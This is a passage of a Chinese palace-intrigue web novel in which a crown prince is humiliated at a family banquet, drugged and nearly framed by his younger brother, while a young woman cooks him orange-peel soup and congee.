随着门的打开,里头原本听不清的说话声渐渐清晰起来。 一个温软的女子声音传来:“六郎来,这是你最爱吃的栗子蒸糕,今日好不容易赶出来的,专等你来呢,还有这玉兰翡翠,也是你爱吃的……” 紧接着便传来一个中年男人的笑声:“你母亲的手艺,向来这宫内外无人能及,只是她身子一向不好,朕只能惦记许久,今日居然还是沾了你的光。” 却听晋王的声音笑道:“今日太子殿下寿宴,席上多少山珍海味,陛下此刻还来与儿臣抢这些。” 皇帝道:“白日实在吵得慌,没什么胃口,也就在这里,朕才能吃得下东西。” 而后便是李峥的声音:“父皇,儿臣出去半个月才回来,您就别与儿臣争宠了吧。” 皇后笑骂道:“愈发胡说……” 几人笑做了一团。 皇帝道:“说来年底你就满十六了,第一回办差做得不错,等你年底生辰的时候,朕也给你好好操办一番,还有想要什么礼物没有?想到了只管提,朕就当一并给你的赏赐了。” 晋王开心地拍手道:“那儿臣可不客气了……” 皇后语音略带嗔怪:“六郎,我瞧你是愈发没规矩了……” 皇帝笑道:“无妨……” 无妨还未说完,帘子一掀,正在此时李岏出现在了门口。 丁德庸瞧见人,忙道:“太子殿下。” 屋内暖风扑面,空气里弥漫着食物的甜香,他还未看清,却感到屋内原本的笑意融融立时消散了。 哗啦一声响,晋王忙从矮几旁站起身来。 李岏扫也未扫一眼,走进屋内低头行礼道:“陛下,皇后娘娘。” 晋王这才跟着行礼道:“太子殿下。” 李岏未看他,只是右手微抬,做了个免礼的手势。 皇帝皱眉开口道:“怎么这时候才来?叫我们等你等这许久,真是好大的派头。” 李岏站在下首,双手拢在袖口里,低垂着眉眼道:“臣方才与户部兵部商议今冬的粮草之事,耽误了片刻。” 皇帝冷笑道:“太子殿下如此勤政,倒是朕耽搁了你的大事。” 李岏道:“还好,臣来时已拟好了章程,明日一早便会呈给陛下。陛下若是想听,臣可现在禀明……” 皇帝黑着脸摆手道:“此是家宴,不要扫兴,晚一天死不了人。” 皇后左右看了一眼,忙堆起笑起身来,走到李岏旁边道:“太子今日是寿星,快请坐下说话吧。来人,快上菜。” 李岏坐上一侧,宫人鱼贯而入,上了膳食。 皇帝这才脸色稍霁,与他道:“朕知道你日夜繁忙,前些日子带病也不得闲,莫要仗着年轻,不把身体当回事,等上了年纪的时候,可有的你后悔。” 不想他今日居然说出这番话,李岏点头道:“是,陛下所言极是,臣定会注意的。” 皇后与晋王相继与他贺寿,一时殿内气氛渐趋融融。 皇帝复了笑脸。 不想却突听到“喵呜”一声,一只肥胖的白猫从内间窜了出来,跑到皇后脚边蹭来蹭去。 皇后面色一变,忙与一旁的孙嬷嬷道:“雪球怎么出来了?快将它带回去,千万莫让它出来。” 孙嬷嬷不敢耽搁,带着几个人忙去抓猫。 偏生这猫动作敏捷,愣是几个人跟在后头追逐。 这雪球受了惊,吓得喵呜喵呜叫个不停,竟撞倒了晋王桌上的碗碟。 好不容易抓着了,皇后低声与李岏道:“实在抱歉,未归束好雪球,叫太子殿下受惊了。” 皇帝见皇后竟态度谦卑,不悦地皱眉道:“为着你一个人不喜猫,这宫内的猫连带着人都得回避。皇后就这么一个喜好,雪球也在此养了多年,而今还要小心翼翼回避,未免太过霸道。” 太子自小不喜猫近身,这是宫人皆知之事。有他在的地方,宫人必都提防着。 偏偏这后宫里头,爱养猫的不在少数,这白猫皇后更是爱若珍宝养了多年。 李岏正襟危坐,面无表情地垂眸道:“既是已入宫多年的猫,便该知道这宫中的规矩,臣观这猫的四爪尖锐如同利刃,伤了臣无妨,若是伤了陛下,便是万死也难辞其咎了。” 这话说的皇后面色尴尬,连挂着的笑都僵硬了起来。 晋王见母亲受辱,当即道:“太子殿下多虑了,臣自小与这猫玩耍在一处,它从未伤过臣。” 李岏掀起眼皮看了这个弟弟一眼,道:“晋王是在自比陛下?” “我……”晋王当即无言,无辜地看向母亲。 皇帝气地一把将手中的酒杯扔在桌上,里头的酒水洒了一桌。 “你不必用这些伎俩来堵你弟弟。” 室内气氛瞬间凝结到了极点,看见着这父子二人就要翻脸,皇后忙上前去,跪坐在陛下身旁道:“陛下息怒,这全怪臣妾,未曾看好这猫,都是臣妾的过错,况且太子自小便不爱猫,今日好不容易来了,更该多加留心才是。” 皇帝见李岏那副淡淡的嘴脸,彷佛万事不能叫他动半点颜色,心中厌恶已及,原本的愉悦去了干净。 若不是今日还有事,当即就想叫他出去。 皇后忙转了话题道:“陛下与太子殿下忙了一日,今日又是殿下的好日子,都快些用膳吧。” 说着亲自拿起玉箸,伺候着皇帝用膳。 李岏扫了一眼,挥手阻止了一旁要上前来伺候的内侍,自己拿起了银箸…… 彩云镇往东不过数里,有一座山,山上漫山遍野都是橘树。 每年这个时候,他们两人便会上山去。 他不过挥动衣袖,满树的金黄橘子就簌簌地落下来。 这时候她开心地跑上前去,将衣摆里兜了满满一兜,再下山去。 她常常吃橘子吃得肚子溜圆,又将那橘子皮仔细地洗干净晒干。 她给兰哥哥的醒酒汤,便是这橘子皮熬出来的。 宋轻风老远就闻到了这橘子的香气,顺着香气一路冒雨摸了过来。 天已经黑了。 一丝光亮自小厨房的窗户里隐约透出。 两个太监在值守,知道殿下今夜在大内用膳,两人百无聊赖,正趴在案上打盹。 屋内只点了一只蜡烛,灶上似乎还温着东西,烟雾缭绕。两人听到开门声响的时候,吓了一跳。 待瞧清来人,两人齐齐起来道:“宋姑娘。” 宋轻风鼻尖轻嗅,橘子的清香愈发浓郁。 目光一扫,果然瞧见墙角放着一整个箩筐的橘子。 胖太监道:“宋娘子这时候来,难道是太子殿下已经回来了?” 宋轻风道:“我来为殿下预备醒酒汤。” 胖太监面色一变道:“太子殿下素日里极少饮酒,便是饮了酒,也嫌饮酒汤酸涩,从不喝的。” 宋轻风道:“没关系,我来煮碗好喝的。” 说着走到一旁的橘子旁,这橘子又大又圆,各个饱满金黄,清香扑鼻,不由晃了神:“这,这是哪里来的?” 胖太监道:“这是西北那边的特产,今年新来的贡品,宫里可没多少呢。” 西北? 与彩云镇同出一脉。 只是当年一起采橘的人,却已烟消云散。 她感到心口一个角落微微刺痛,好一会才忍住心中酸胀,取了三个橘子来,用力搓洗了几下,直将皮搓地光亮,这才一瓣瓣剥了皮,而后扔进了锅里。 金黄色的皮在热水里翻滚,很快水就成了金黄之色。 她又往里头撒了盐,一时清香更甚。 两个太监连连啧舌道:“我们在这厨房这么多年,没曾想这橘子皮能煮出这么香的汤来。” 宋轻风搬了个板凳坐在一旁,盯着金黄的汤,半晌未曾说话…… 晋王见几人低头不言,自己起身道:“儿臣记得方才陛下要给儿臣赏赐,父皇您金口玉言,一言九鼎,可不能反悔哦。” 皇帝重又笑道:“你还没说你想要什么赏赐?” 皇后面色一紧,恐他要说出求娶祝家小姐的话来。 忙看了晋王面上生了薄怒斥责道:“真是半点规矩也没有,是母后太过骄纵你了!” 皇帝摆手道:“无妨,六郎难得想向朕讨赏。” 晋王看了母亲一眼,却起身道:“陛下在城西的温泉别宫,实在是顶顶好的,臣以前得陛下隆恩用了一回,就惦记到现在。” 皇后听闻儿子提的居然是个别宫,这才心头一松。 皇帝不在意地摆手道:“那别宫你打小就喜欢,都惦记这么多年了,不想现在还惦记着,罢了,便赏给你了。” 晋王立时站起来,举起酒杯道:“多谢父皇,父皇您最疼爱儿臣了。” 皇后一边服侍皇帝,一边笑道:“陛下您就宠他,莫将他给宠坏了。” 皇帝挥着手道:“六郎自小就乖巧懂事,颇得朕心,不过一座别宫而已,哪里就宠坏了。” 李岏低头将面前的几盘菜,各取一箸尝了,便搁下了银箸。 眼见着殿内三人说说笑笑,灯烛辉煌间,隐约想起自己少时。 那时候母亲便喜欢坐在那边的矮塌上,或者埋首看书,或者偶尔写字作画。 每日黄昏他下学回来,那桌案上的书画便会被收拾了干净,换上的是一碟子甜甜的糕点。 她见他回来,便抬手招呼他过来,拿起帕子将他一头脸的汗细细擦了,而后便将那碟子糕点推给他。 只有母亲知道,他生来爱甜食。 只是他是太子,是个男孩子,不能叫外人知晓他一个男子居然爱这些甜腻腻的东西。 人人都盼着儿子出息能耐,讨父皇的欢心,可母亲对他的期待从来很简单。 她只希望他好好的。 晋王见太子端坐着,冷着脸一声不吭,心中未免生了气,他是继后所出,嫡出的皇子,可这皇子偏偏比这位太子低了一等。 他自恃储君身份,平日里高高在上,对母后也是不恭不敬,如今又摆出这冷脸来给谁看。 想到此,他当即举杯与李岏道:“太子殿下一向忙于朝政,废寝忘食,听闻近来胃口也不佳,臣瞧着怎么只尝了几口便不用了?今日这席上菜肴多半出自母后之手,父皇方才都夸赞是国母之手做出的菜,果然是天下一等一的好,平日可是吃不着的,您不妨多尝尝?” 李岏端坐在对面,嘴角扯了抹轻笑道:“天长地久,孤还有机会。倒是晋王年后也到了之藩的年纪,只怕难得还能再进宫,你合该多尝尝才是。” 晋王面色一白,还未接话,殿内立时传来几声压抑的咳嗽声,皇后忙抬袖捂住口鼻,连连告罪道:“臣妾失礼了。” 皇帝见她身段纤弱,面容有些苍白,忙道:“你身子一向不好,这些事交给奴婢们来做,快坐下用膳罢。” 赵嬷嬷忙上前来扶住皇后的身子,坐在了一旁。 皇帝此前正琢磨着该如何开口,不想太子居然主动提起,当即道:“你母后身子一向不好,六郎合该在面前多孝敬才是。此次六郎在平阴一带剿匪,也颇有成效。” “巡防营前些时候正生了缺,朕瞧着他便进巡防营,一则多历练,再则可以时时入宫尽孝于皇后跟前。” 李岏将衣摆顺了顺,抬首向上道:“皇后贵为国母,天下万民皆是皇后的子民,皆要尽孝于皇后,就算天下万民无缘进宫,臣身为长子,也自会尽孝于母后。” “至于巡防营,”他顿了顿,声音里带了讥笑,“晋王年后便是十六,也快去山西就藩,难道要将巡防营带到山西去不成?” 皇帝被他一堵,面色难看到了极点。 晋王当即起身走到正中跪下道:“父皇,母后,儿子不孝,儿不想进什么巡防营,只想在有生之年能在二老跟前尽孝,儿子便死而无憾了。”说着当即痛哭在地。 皇后面色苍白,满目酸楚,忍不住抬起袖子偷偷垂泪。 皇帝见母子儿子具都垂泪,一时咬牙道:“六郎留在京师,也影响不到你东宫之位,他是你的亲兄弟,难道你如此铁石心肠,心中只有权势地位,不念半分手足之情?” 李岏起身走到正中抬手做礼道:“陛下若是决心如此,明日便召三省六部九寺共同商讨这藩王之法,臣绝无异义。” 皇帝放在袖子里的手剧烈颤动,忍了许久的怒气再忍不住,一把抓了面前的碗向下砸来。 “来人,将这不忠不孝忤逆君父的畜生给我拿下!” 那碗划了半弧射来,下首李岏站着,一动不动,那碗便直直地砸在了他的额上。 剧烈的撞击将他砸的眼前一阵发黑,而后一阵钻心的疼袭来,一道温热的血顺着额角流了下来。 室内众人一时吓得呼吸都忘了,众多内侍跪瘫在地,瑟瑟发抖。 守在外头的皇帝亲卫听到叫声,当即推门而入,一阵寒凉之气扑了进来。 屋外簌簌的风雨声此时才传进殿来。 不知何时,竟下起雨来。 安静的大殿,彷佛全被风雨所浸。 李岏长身而立,鲜红的血在他原本就如白脂玉一般的皮肤上格外触目惊心,他任由那缕鲜血流下,滴落在衣摆上,落在地板上。 丁德庸瞧见这阵势忍不住心脏剧烈地狂跳,感觉立刻就快要从嗓子眼里跳出来。 他一咬牙,当即膝行上前,跪倒在皇帝的脚边道:“陛下千万三思,太子殿下方才吃了点酒,只是混着酒劲一时冲动,万不敢有忤逆之行。” 皇后也拽着他的衣摆道:“陛下,都是臣妾的错,您千万息怒,保重身体。” 皇帝气得浑身颤着,却已从震怒中回过神来,看着底下站着的儿子。 他是正宫嫡出,自小聪慧,言行蹈矩,是国法上最名正言顺的太子,即便他是皇帝,也不能轻言废弃。 十二岁,自己便将他扔去了军营,派去了前线。 原以为战场刀剑无眼,一个十二岁的小儿,死伤再正常不过。 可他如何也未想到,那个十二岁的小儿,不光没有战死在前线,却靠着手段收买了军心,叫那些人至今都对他忠心耿耿!—— 作者有话说:晚安~ 第45章 第 45 章 大殿下 而他娘家表兄们, 更是把持着西北,几乎是占山为王,眼里只有太子! 他多年一直后悔不已, 走了这一遭昏棋,养虎为患。 即便是千刀万剐了当年出主意的谋士,也难解自己心头之恨。 而今, 他已成年, 羽翼早丰。 早不是可以直接发落他的时候了。 皇帝咬着牙,坐下来, 却未叫亲卫再来拿人。 李岏转头扫了一眼进殿来的皇帝亲卫,那些侍卫当即后退一步低下了头。 他低下头,自袖中掏出雪白的巾帕, 往额角处擦拭了一下。 瞬间巾帕便被血染红, 他不过看了一眼,而后手指一松,那巾帕便飘飘荡荡,打着转落在地上。 李岏行礼道:“你们慢用, 臣不搅扰了, 告退。” 说着看也未看一眼,转身出去了。 外头的细雨将天地浇得一片冰冷,守在外头的侍卫听到里头的声响, 也惊得面色发白,浑身止不住发颤。 如今见太子出来, 内侍当即取了伞来撑着, 要送他出宫门。 李岏一把挥开他,只身走进了雨里。 细润的雨水很快将他额上残留的血浇了干净,这雨并不大, 细细密密的,可走不多时,衣裳便也湿了。 他站在院中,回望紫晨宫在夜雨里依旧灯火辉煌,檐上的神兽却狰狞噬人心魄。 这巍峨宫殿,曾是他最眷恋之地。 而今瞧来,只剩冷风寒雨。 李岏摸了摸额角的伤口,嘴角挂着细雨冷笑。 “呵,想要巡防营?也要先问我答不答应。” 他拂袖疾步而走,行到紫晨宫外头,车辇和亲卫都正候着。 全福见他就这般出来,连个伞都没有,惊了一跳,忙取了车旁的伞跑上前来。 欲要骂紫晨宫的宫人不懂规矩,就让殿下这般淋了雨,可话到嘴边到底咽了回去。 只得满面担忧地道:“太子殿下,您近来身体不适,可千万保重啊。” 一旁高守还未靠近,便闻到了一股浓重的血腥之气,当即浑身紧绷,手按上剑柄,双目四处一扫,却发现了太子额头上的伤。 一块钝伤在灯火掩映中格外醒目。 全福也瞧见了,惊地要开口,却见李岏看了他一眼,两人立时闭了嘴。 今日太子前来紫晨宫,赴的是皇帝的家宴,而今带伤出来,此事若是传出去,又不知暗地里会是怎样的腥风血雨。 全福回头看了看黑暗里巍峨的紫晨宫,这是曾经先皇后的居所,而今这帮子人鸠占鹊巢,一群黑了心肝的,居然还敢伤了殿下,皇后娘娘在天有灵,可不能放过他们。 他眼角泛酸,心里头将这宫里的人,不管是谁,颠来倒去骂了千百遍。 “太子殿下,奴婢伺候您回去吧。” 李岏方要登车,却突然听到小小怯懦的一声传来:“太子殿下。”。 汤煮了小半个时辰,直将那橘皮煮得发白,金黄的汁水全都融进了汤中。 宋轻风这才将橘瓣一个个掀了薄皮,扔了进去。 等橘汤的功夫,她又去煮了点白粥。 而今白粥已熬得软烂,雪白地在水中咕嘟咕嘟冒泡,粘稠地像是奶,她这才切了青菜放在一旁备着。 外头的雨愈来愈大。 雨水敲打在窗户上,发出簌簌的声响。 伴着屋内咕嘟咕嘟的煮粥声,不知为何,便是这么简单甚至寒碜的白粥,竟都显得香气四溢,惹得两个太监忍不住咽了咽口水。 另一个瘦点的太监还是担忧地道:“这是给太子殿下的粥,未免太清淡了些,我再切点火腿,鸡丁进去。” 宋轻风拦住他道:“酒后口渴,又易脾胃不适,吃点淡粥最合适不过。” 说来兰哥哥不喜吃白粥,嫌弃白粥寡淡无味,她便将粥熬得粘稠,而后再扔些青菜,放点咸盐,也算能哄骗得他入口。 破云庙实在当得起破字,漏风漏雨,她却从未在意过。 只记得那咕嘟咕嘟的白粥,热气弥漫整间屋子。 屋子,再破,也是她的家,有她的家人。 有她,一生唯一的温暖时光。 兰哥哥,你听到外头的雨声了吗? 彩云镇,也在下雨吗?。 紫晨宫外。 李岏循声望去,便见不远处站着一个瘦瘦小小的少年。 虽然有内侍跟在他身后给他打伞,风吹着细雨却已吹湿了他的肩头和衣角。 却是十殿下李岫。 不知他在这雨里站了多久,整个人都冻得有些瑟缩。跟在他身后的侍从,原是不久前从东宫派去的,见了太子,忙都行礼。 李岏皱了眉道:“这么晚又下了雨,你在这里做什么?” 却见老十小心翼翼地上前,双手捧着个一尺见方的锦盒。 李岏扫了一眼,眉心微皱。 老十抬起煞白的小脸,颤着唇笑着道:“今日是殿下的生辰,臣一直想为殿下送上生辰之礼,却未寻得机会,傍晚偶然听闻殿下会来紫晨宫,因此特意在此等着,果然等到殿下了。” 说着他不顾一地的雨水,撩开衣摆跪下道:“臣没什么能拿得出手的大礼,只是自己写了副寿字给殿下,祝殿下喜乐安康,福寿绵长。” 李岏看他灼灼的望着自己,里头都是小心翼翼,不由顿了顿,好一会才道:“你守在这里这半日,便是为了给我祝生辰?” 老十露出少年人的笑道:““臣受宫人欺辱多年,全靠殿下的出手相救,才得而今,没有您,便没有臣。况且殿下一年就这一回生辰,臣便是等上再久都是值得的。” 李岏感到心口一沉,额角处隐隐生痛,语气缓和了下来,与他道:“好,你的礼孤收下了,下了雨,快些回去吧,莫要染了风寒。你们服侍十殿下回宫去。” 老十身后的侍从忙都应是。 老十却犹豫了一瞬道:“殿下,您衣裳湿了,才是莫要染了风寒,臣的寝宫便在附近,您若是不介意,移步臣的寝宫换身衣裳吧?” 李岏方要拒绝,却见老十低下头道:“臣随口一说,殿下若是觉得不妥,请忽略臣所言。” 他想了想,道:“也好。” 老十年方十三,寝宫便在不远处的回露宫。 李岏还没踏进宫门,老十便忙得脚不沾地,亲自操劳茶水,点心,甚至桌椅,毛巾热水,一时殿内被闹得人仰马翻。 等老十捧着一盏茶来的时候,却见全福也正捧了自带的一盏茶送上来。 光从茶汤上来看,也知比他手里的,好上不知多少倍。 他面色一红,方要将手缩回去,哪知李岏已伸出手来,接走了他的茶盏。 他不由不安地扯了衣摆。 这已是他能从自己宫里找出来的最好的茶了,可与太子殿下随身带的茶相比,都显得过分寒碜。 老十小心翼翼抬眼看去,却见李岏毫无所觉地低头抿了口茶,面上未有半点变化。 全福一惊,却不敢说话。 素日里,因为一些原因,殿下在东宫外头,是极少喝外头的茶的。 却见老十羞愧地道:“叫殿下笑话了,臣……臣这里实在寒陋。” 李岏放下茶盏,随意一扫,他第一次进弟弟的寝宫,这宫内四处摆设器皿,具都崭新齐全,内侍们打扫仔细,也是干净整洁。 闻见老十如此模样,他道:“若宫人有不尽心的,可告诉孤,或遣人来东宫。” 哪知老十却抬起头来道:“真的吗?臣以后若是遇到难事,真得劳烦殿下了。哎呀,光顾着说话了,殿下请进内间换衣裳,臣都打理好了。” 李岏挑了挑眉,不再多说,起身往内室去。 内室里头放了一整桶的热水,热气氤氲,将室内熏得朦胧,火光原本就不明,此刻更是模模糊糊。 李岏拂开重重帘幕,站在热水旁,许是被热水熏蒸,浑身有些发热,脑袋发沉。 他展开双臂正欲解衣,鼻端却突然闻到一缕若有似无的香气。 李岏双目一冷,看向不远处的床幔。 床幔低垂,瞧不清里头。 全福见他神色,心中一跳,立时跑上去将帷幔拉开一角。 烛火照进去,床上露出一个雪白的面容,双颊含粉,纯色嫣红,双目闭着,浑身衣裳半褪。 却是一个女子。 他心尖一颤,吓得立刻松了手。 耳边却听嗖的一声,一道金光自李岏的手腕处发射而出。 随之而来窗外传来一声闷哼。 门口一阵风起,高守飞扑而进挡在他身前,随之几道黑影闪电而出,来到窗外。 不过须臾,窗外传来人声:“太子殿下,人抓到了。” 李岏未应答,大脑一阵阵昏沉,浑身发烫,心知是刚才喝的茶有问题。 全福瞧出他的不对,却不敢声张,只是扶住他颤声道:“奴婢叫人去请太医来。” 李岏点头,嗓音暗哑:“将所有当值的太医都叫来。” “是。”全福又看了眼帐内,咬牙道:“这些人坏心至此,殿下,咱不如将计就计,将这位小姐悄没声息送到六殿下…” 说着却感到一道冷冷的目光扫来,他心头一惊闭了嘴。 李岏开口道:“不必将别人牵扯到李家这些破烂事里面。” 全福讷讷不敢接话。 李岏转头与高守吩咐道:“派人将她好生送出宫去,查清身份。” 被放在这屋内的女子,他瞧着眼生。 但是这些人将她放在此处,只怕身份很是特别。 观她此刻的面色,不知是喝多了还是同样被下了药。 她此时出现在这里,不管是自愿还是被迫,若不是自己发现得早,之后的事会如何发展? 李岏想到今夜种种,再也忍不住冷笑出声。 声音中的冷冽听得旁边的几人忍不住颤了颤。 原来一切都是算计好的。 紫晨宫不过是个幌子,他们摆的大戏原来在这里。 正堂内被侍卫押进来的居然是十殿下。 他肩胛受了伤,还在流血,血水染红了衣裳。 他却顾不得,只是惊慌地摇头道:“太子殿下,我,我我什么都不知道啊。” 他年纪尚小,身形消瘦,满面泪水的瑟缩模样,当真是可怜。 李岏靠在椅背上,冷眼看着他,却不言语。 老十只是膝行上前,欲要攀住他的衣摆,在快要触及这片冷漠的雪白衣角时,到底又缩回了头,只是道:“太子哥哥,我真的什么都不知道,我只是怕您初来宫中有什么不惯,所以在窗外听一听。” 哥哥? 李岏冷漠着靠在椅背上,从内而外的热意激地他心跳加速,再不复平静。 他俯身低下头,看着地上十皇子的眼睛道:“所以你在茶里放的是什么药?” 老十瞪着惊恐的眼睛,感到对方的眼神如冰刀一般,忍不住咽了咽口水嗫嚅着道:“什么药?我真不知道什么药,相信我,哥……” “啪!”地一声巨大响声,将他未说尽的话打断,老十的半边脸瞬间就肿了起来。 李岏感到手掌发麻。 老十被这一耳光扇去了神智,捂住脸愣愣地跪着。 “所以你们的计划,下一步是由你撞破屋内的情形?” 等他衣衫褪去,药效发作,一个祸乱宫闱的罪名就扣在了他的头上,不管真假,这样的事,都将成为他这辈子都洗不清的污点。 在这宫里,这是最简单却又最有效的办法。 更何况,他还不知那女子的身份为何,又藏着什么样的阴谋。 只是这样的算计在他身上,却并不容易。 光是给他下药这一步,就难倒了许多人。 他在外头,一应茶水点心,基本都是自备,而在宫内,又有专人侍膳。 老十回过神来,凄楚地道:“太子哥……” 李岏抓紧扶手,倾身上前道:“你也配叫我哥哥?” 那个在雨里等着自己,祝自己福寿绵长的弟弟,不过全都是幻象。 “你往茶里下砒霜,想要毒死我的时候,又还记得我是你的哥哥吗?” 老十叫道:“我没下砒霜!那不过是叫你暂时失去一些理智的药……” 他年纪小,此刻才反应过来失言,立时闭了嘴,面色惨白。 李岏冷笑道:“既然有这么好的机会,为何不直接毒死我?岂不是省事?” 老十瘫在地上,浑身发抖。 他心中也是恨极,方才那么好的机会,自己都得手了!若是直接毒死,当真是一了百了,哪有而今自己这狼狈模样! 李岏重又靠在椅子上,双目微闭,无力地挥手道:“谋害储君,是什么罪,你去与宗正寺说个分明吧。” 一旁的高守招人要将他带出去。 去宗正寺,他再也不可能活着出来了! 老十剧烈地挣扎求饶:“太子殿下,饶了我,我只是被逼的,我是被逼的,您知道我若是不听话,就活不下去了,您相信我,我真的是被逼的!!况且那茶水里放的,也不是什么要命的毒药……” 他哭喊着,押他的侍卫手如铁钳一般,紧紧掐住了他,肩胛上的伤口刺骨的疼。 可是上首的人却无动于衷地坐着,眼睁睁看着他去死。 老十不知从何处生了力气,一把挣脱了来人,冲上前来攀住李岏的椅子道:“凭什么!” 李岏挥开欲要上前拿人的侍卫。 老十便跌坐在他脚下,面色涨红。 “凭什么!” “我们分明是亲兄弟,可你一出生就是高高在上的太子殿下,而我,却是见不得人的下贱皇子,在这宫里,连个太监都敢骑到我头上欺辱我!” “我对您又有什么威胁!要派人来监视我?” 李岏皱眉,没想到之前自己一时动的善念,竟是被这样想的。 “可笑的是你派东宫的人来监视我,我却要感激您,感激太子殿下的大恩大德……” 上头的人无声无息,完全没有自己想象中的暴怒,老十坐在地上,一时有些呆楞。 李岏道:“要说的都说完了?” 老十看着冷峻的眉眼,张了张口,一旁的侍卫立刻上前来拿人,他这才回过神来,抖着声音道:“您是要杀了我,就像当年杀了大殿下一样吗?” 李岏低下头,看着这个不过十多岁的弟弟,看着他满目血红,里头全是愤恨。 他一声不吭,抬起手,又“啪”地甩了一记耳光。 老十的左脸立刻肿胀,嘴角流出血来。 他呸地吐了口血来道:“今夜算计您的是他们,我不过就是执行罢了,您不敢去寻他们报仇,却就是敢欺负我这般无基无势的人!” “呵,”一声令人汗毛倒竖的笑声自李岏的嘴角发出。 那些人,欺他害他,他本就无所谓,更伤不了他分毫。 但是他欺他真心与信任,却比那些人更可恨! 李岏木着脸,看向他的目光却好似穿透了自己,看向了别处。 老十被他看得心头发毛,惧意更甚,叫嚣道:“您要杀我便杀,大殿下倒是爱您敬您,不也是死在你的剑下?你可是小小年纪就敢提刀杀人,手刃自己亲兄长的冷血变态!我们李家,有你这样无情无义之人,当真是遭了大孽!父皇说了,若是能…” 跟在旁边的全福一把上前捂住他的嘴道:“快,你们死人吗!怎么光看着,还不将人拖走!” 老十双嘴被堵,只能发出呜呜咽咽的声音。 看着他消失在门外,李岏感到头脑愈发模糊,他用力掐紧手心,直将手心掐出血来,这才恢复一丝清明。 好在一群太医急匆匆地来了,带进来一阵雨气,往殿内送进了一丝凉意。 在他们的施为之下,他奔涌的内心仿若下了场雨,寒凉一片。 所下之药,乃是令人神智混沌,热血奔涌之效,虽然伤身,暂时却危及不了性命。 李岏冷笑,那些人果然还不敢叫他死在宫里。 可这是什么人家,血脉相残,父子争权。 可又是为什么,偏偏选在今日—— 作者有话说:晚安~《 》 45-50 第46章 第 46 章 若你也背叛我 偏偏为什么是今日呢? 他们连一天都不愿多等吗? 记得娘亲去时, 拉着他的手默默流泪。他知道,她盼着能看到他长大的那一天。 死! 背叛他欺骗他的,“全都去死!” 太医正手一抖, 目光丝毫不敢上移,只是埋头道:“臣行针先压制下去,臣斗胆, 外头正巧下着雨, 太子殿下若能受些寒凉之苦,在雨气里多呆上片刻, 更有助益。” 正在行针的当口,回露宫的总管太监,正是前些日子从东宫调过来的, 早已面如土色, 匍匐在地,只是磕头道:“今夜之事,奴婢等实在不知,奴婢自进了回露宫, 十殿下便一直堤防着奴婢等人, 奴婢等实在是不知底细,望太子殿下明鉴啊!” 全福躬身在一旁小心翼翼地道:“这几个奴婢素日在东宫还算勤勉,不若再调回去?” 李岏闭着眼睛, 脸上早就一片淡漠,只是薄唇轻启:“先杖二十, 再送去皇城司。” 殿内的太监宫人一时瘫软在地…… 不想雨越下越大, 李岏自己撑着伞,徒步走回东宫。 九月底,已是寒气逼人。 叫人从内至外, 寒彻入骨。 他下意识紧了紧衣裳,木着脸,在雨地里走了不知多久,鞋袜已湿,脚冻得有些麻木。 四处只有檐角的风灯颤颤巍巍地晃动,光晕在雨里散着,竟是破败的感觉。 子时已过,他已是真正十八岁的人了。 他终于长大。 虽还不是参天大树,却再不用受人摆布。 只是需要他庇护的人,却已通通不在了。 李岏捏紧伞骨,雨水溅进来,打湿了衣摆。 四周一片漆黑。 行动间,却突然瞧见远处一间小屋透出小小的暖黄色光晕,显得格外醒目。 他下意识走上前去,透过小窗,隔着噼里啪啦地雨声,听到了屋内传出咕嘟咕嘟的声响。 一只漆黑的炉子里头正在冒着热气,隐约瞧见里头的白粥上下翻滚,一股沁人的香气飘了出来。 这小屋在冷雨中竟有股说不出的暖意。 而炉子的一边,一个人正伏在案边,似乎睡着了,只有侧颜露在外头。 在这一方狭小的烛光下,乌发素颜,眉眼如烟。 李岏在雨中不自觉停下脚步,看着那人出了神。 宋轻风从瞌睡里惊醒过来,迷蒙地四下看了一眼道:“殿下回来了?” 趴在远处的小太监睡得正迷糊,咕嘟道:“没听到声儿,必然是还没回来。” 宋轻风看着炉子,“哎呀”一声,睡过去差点把粥给忘了。 好在她醒得及时,白粥正是煮得黏腻,如牛乳一般。 她将一旁早切好的菜捧着扔了进去,又撒了点盐,而后闻了闻道:“真香。” 小太监迷迷糊糊地道:“这都后半夜了,殿下还未回来,这醒酒汤和粥铁定是用不上了,听听外面这雨,娘子还是早些回去睡吧。” 宋轻风看着粥出神道:“没关系,我等他回来,他总会回来的。” 她原也没指望太子会喝这些东西。 不知过了多久,膳房的门被人推开,屋内众人惊了一跳,却是方华殿的顺意。 顺意也没撑伞,淋得一头一脸的雨,进来也来不及抹脸上的水,就急道:“太子殿下回来了,要醒酒汤,还要喝粥。” 屋内主事的两个太监急得腿都软了,只是念道:“怎么没听着动静?这灶上煨着好些膳食,公公您先拿去?奴婢这就准备醒酒汤和粥。” 顺意拍着腿道:“你想死么!殿下点名要的东西,还敢拿其他的糊弄?来不及了,殿下说了要快!” 殿下都说了要快,那就是必须立刻马上,半刻不能耽搁! 说着他焦急的目光一扫,见炉子里头正煨着一锅菜粥和一份金黄色的汤。 当即道:“这是什么?” 宋轻风道:“这是橘皮做的醒神汤,这是菜粥。” 顺意这才瞧见她也在,当即道:“可太好了姑奶奶!您与殿下竟心意相通!” 说着当即取了银针来试,又自己取了尝了,立时道:“来不及了,这些便进上去吧。” 两个太监面面相觑,这两样东西虽然他们看着做的,也却是诱人,可食材太过粗鄙,谁都不敢冒这个先例。 宋轻风盛在了食盒里道:“我去送吧。” 方华殿居然没有点灯。 从外头瞧起来竟黑洞洞的。 雨水拍打在屋檐墙壁之上,簌簌地竟格外安宁。 宋轻风没想到全福也未在殿内伺候,而是与高守二人一起候在屋檐下,雨点子溅上去,落在二人衣角。 此刻两人面上瞧着比这夜还凄风苦雨。 全福见东西来了,立时上前,掏出银针来就在食盒里头翻来剥去,恨不能每一粒米都拿出来掰开瞧瞧。 瞧了半晌,又单盛了自己尝了,这才道:“宋娘子勿要介意,殿下入口的东西,还需格外谨慎些。” 宋轻风见他今日这番紧张做派,只怕发生了什么。 但她并未多问,只听全福道:“娘子请进吧,殿下在内暖阁。” 可是说完他自己却没有要跟进去的意思,却又小声提醒道:“殿下心绪不佳,您当心着点,放完东西就赶紧着出来吧?” 全福说得委婉,可何止是不佳,简直是糟透了。 从回露宫出来,便将所有人都撵走了,不让他们靠近。 而今宋娘子来了,或许能接近一二? 宋轻风有些疑惑,今日是他的生辰,生辰大典从天没亮办到此刻,这排场和热闹,是一般人一辈子也够不着的。 为何这个时候,却心绪不佳。 她一边想着,一边摸着黑小心翼翼往内暖阁去。 摸到门前,她小声叫道:“太子殿下。” 没有声音。 宋轻风伸出手,小心拉开内阁的门帘,映入眼帘的是一只小小的蜡烛。 